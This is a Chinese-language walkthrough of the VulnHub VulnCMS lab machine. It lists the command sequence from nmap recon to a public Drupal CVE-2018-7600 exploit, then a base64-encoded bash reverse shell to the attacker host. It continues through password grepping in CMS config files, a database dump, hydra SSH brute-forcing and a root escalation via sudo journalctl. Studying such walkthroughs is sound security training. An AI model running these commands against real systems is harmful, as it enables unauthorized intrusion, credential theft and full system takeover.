VulnHub-VulnCMS
环境
Kali: 192.168.132.131
靶机:192.168.132.149 靶机地址:https://www.vulnhub.com/entry/vulncms-1,710/
一、信息收集
nmap -sP 192.168.132.0/24
nmap -p- -sC -sV 192.168.132.149
二、漏洞探测
./droopescan scan drupal -u http://192.168.132.149:9001
通过搜索引擎搜索框架版本的漏洞 Exploit drupal cve 7.54 github
git clone https://github.com/pimps/CVE-2018-7600
三、漏洞验证
chmod +x http://drupa7-CVE-2018-7600.py
python3 http://drupa7-CVE-2018-7600.py http://192.168.132.149:9001 -c 'id'
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.132.131/4444 <&1'" | base64
rlwrap nc -lvp 4444
python3 drupa7-CVE-2018-7600.py http://192.168.132.149:9001 -c 'echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMzIuMTMxLzQ0NDQgPCYxJwo="| base64 -d |bash'
python3 -c 'import pty; pty.spawn("/bin/bash")'
ls -l
cd sites/default
cat settings.php |grep -i pass
ls -l /home
cd ..
cd wordpress/public_html
cat wp-settings.php |grep -i pass
cd ..
cd joomla/
cat wp-config.php |grep -i pass
cat configuration.php | grep -i pass
cat configuration.php | grep -i user
mysql -u joomla_admin -p
show databases;
show tables;
select * from hs23w_users;
vim user.dict
vim pass.dict
hydra -L user.dict -P pass.dict ssh://192.168.132.149:22 -I -V
ssh elliot@192.168.132.149
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat user.txt
四、提权
提权脚本
git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
python3 -m http.server 80
wget http://192.168.132.131/linpeas_base.sh
chmod +x linpeas_base.sh
./linpeas_base.sh > output.txt
cat output.txt |grep -i tyrell
su - tyrell
sudo -l
sudo journalctl
!/bin/bash
五、总结
使用nmap扫描端口等信息,使用droopescan脚本扫描框架版本,使用浏览器搜索该框架版本的漏洞,验证并利用,获得web权限的shell,搜集配置文件web用户的密码和靶机中用户名,,通过web登录mysql,获得数据库中密码,制作用户名字典和密码字典,进行ssh破解,获得elliot用户的shell,使用linpeas_base.sh脚本搜索靶机中存在用户的密码,切换到tyrell,使用sudo提权,获得root权限。
学到关于cms框架渗透测试的基本流程,在网上搜索指定版本漏洞的脚本,将执行命令进行base64加密,绕过可能存在过滤,在进行base64解密,执行命令反弹shell,寻找网站配置文件(网站用户名和密码可能和系统的用户名和密码相同),找到用户名和密码,进行ssh爆破,利用提权脚本,寻找pass和指定用户的密码信息,sudo journalctl的提权方法。